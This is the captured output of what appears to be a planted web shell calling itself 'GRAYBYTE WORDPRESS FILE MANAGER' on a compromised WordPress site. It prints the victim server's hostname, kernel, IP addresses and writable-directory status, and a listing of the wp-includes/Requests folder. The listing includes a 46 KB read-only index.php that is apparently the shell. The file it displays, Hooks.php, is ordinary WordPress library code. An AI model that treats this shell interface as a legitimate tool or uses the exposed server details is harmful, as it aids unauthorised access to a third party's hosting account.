✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server303.web-hosting.com ​🇻​♯➤ 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 199.188.205.31 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.184
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/apktpqlk/getapkfiles.com/wp-includes/Requests/src//Hooks.php
<?php
/**
 * Handles adding and dispatching events
 *
 * @package Requests\EventDispatcher
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\HookManager;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Handles adding and dispatching events
 *
 * @package Requests\EventDispatcher
 */
class Hooks implements HookManager {
	/**
	 * Registered callbacks for each hook
	 *
	 * @var array
	 */
	protected $hooks = [];

	/**
	 * Register a callback for a hook
	 *
	 * @param string $hook Hook name
	 * @param callable $callback Function/method to call on event
	 * @param int $priority Priority number. <0 is executed earlier, >0 is executed later
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $callback argument is not callable.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $priority argument is not an integer.
	 */
	public function register($hook, $callback, $priority = 0) {
		if (is_string($hook) === false) {
			throw InvalidArgument::create(1, '$hook', 'string', gettype($hook));
		}

		if (is_callable($callback) === false) {
			throw InvalidArgument::create(2, '$callback', 'callable', gettype($callback));
		}

		if (InputValidator::is_numeric_array_key($priority) === false) {
			throw InvalidArgument::create(3, '$priority', 'integer', gettype($priority));
		}

		if (!isset($this->hooks[$hook])) {
			$this->hooks[$hook] = [
				$priority => [],
			];
		} elseif (!isset($this->hooks[$hook][$priority])) {
			$this->hooks[$hook][$priority] = [];
		}

		$this->hooks[$hook][$priority][] = $callback;
	}

	/**
	 * Dispatch a message
	 *
	 * @param string $hook Hook name
	 * @param array $parameters Parameters to pass to callbacks
	 * @return boolean Successfulness
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $parameters argument is not an array.
	 */
	public function dispatch($hook, $parameters = []) {
		if (is_string($hook) === false) {
			throw InvalidArgument::create(1, '$hook', 'string', gettype($hook));
		}

		// Check strictly against array, as Array* objects don't work in combination with `call_user_func_array()`.
		if (is_array($parameters) === false) {
			throw InvalidArgument::create(2, '$parameters', 'array', gettype($parameters));
		}

		if (empty($this->hooks[$hook])) {
			return false;
		}

		if (!empty($parameters)) {
			// Strip potential keys from the array to prevent them being interpreted as parameter names in PHP 8.0.
			$parameters = array_values($parameters);
		}

		ksort($this->hooks[$hook]);

		foreach ($this->hooks[$hook] as $priority => $hooked) {
			foreach ($hooked as $callback) {
				$callback(...$parameters);
			}
		}

		return true;
	}

	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
22 Jun 2026 6.39 AM
apktpqlk / apktpqlk
0755
Auth
--
14 Nov 2025 4.10 PM
apktpqlk / apktpqlk
0755
Cookie
--
14 Nov 2025 4.10 PM
apktpqlk / apktpqlk
0755
Exception
--
14 Nov 2025 4.10 PM
apktpqlk / apktpqlk
0755
Proxy
--
14 Nov 2025 4.10 PM
apktpqlk / apktpqlk
0755
Response
--
14 Nov 2025 4.10 PM
apktpqlk / apktpqlk
0755
Transport
--
14 Nov 2025 4.10 PM
apktpqlk / apktpqlk
0755
Utility
--
14 Nov 2025 4.10 PM
apktpqlk / apktpqlk
0755
.htaccess
0.124 KB
22 Jun 2026 6.39 AM
apktpqlk / apktpqlk
0444
Auth.php
0.84 KB
16 Dec 2022 2.32 AM
apktpqlk / apktpqlk
0644
Autoload.php
9.116 KB
5 Apr 2023 5.12 PM
apktpqlk / apktpqlk
0644
Capability.php
0.637 KB
5 Apr 2023 5.12 PM
apktpqlk / apktpqlk
0644
Cookie.php
15.028 KB
25 Mar 2024 4.23 PM
apktpqlk / apktpqlk
0644
Exception.php
1.088 KB
16 Dec 2022 2.32 AM
apktpqlk / apktpqlk
0644
HookManager.php
0.692 KB
16 Dec 2022 2.32 AM
apktpqlk / apktpqlk
0644
Hooks.php
2.961 KB
12 Oct 2023 4.34 PM
apktpqlk / apktpqlk
0644
IdnaEncoder.php
12.155 KB
21 May 2026 4.35 PM
apktpqlk / apktpqlk
0644
Ipv6.php
5.511 KB
21 May 2026 4.35 PM
apktpqlk / apktpqlk
0644
Iri.php
29.029 KB
21 May 2026 4.35 PM
apktpqlk / apktpqlk
0644
Port.php
1.47 KB
16 Dec 2022 2.32 AM
apktpqlk / apktpqlk
0644
Proxy.php
0.847 KB
16 Dec 2022 2.32 AM
apktpqlk / apktpqlk
0644
Requests.php
33.204 KB
21 May 2026 4.35 PM
apktpqlk / apktpqlk
0644
Response.php
4.181 KB
5 Apr 2023 5.12 PM
apktpqlk / apktpqlk
0644
Session.php
8.894 KB
12 Oct 2023 4.34 PM
apktpqlk / apktpqlk
0644
Ssl.php
5.298 KB
16 Dec 2022 2.32 AM
apktpqlk / apktpqlk
0644
Transport.php
1.508 KB
16 Dec 2022 2.32 AM
apktpqlk / apktpqlk
0644
error_log
0.211 KB
22 Jun 2026 3.50 AM
apktpqlk / apktpqlk
0644
index.php
46.424 KB
18 May 2025 3.39 AM
apktpqlk / apktpqlk
0444

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF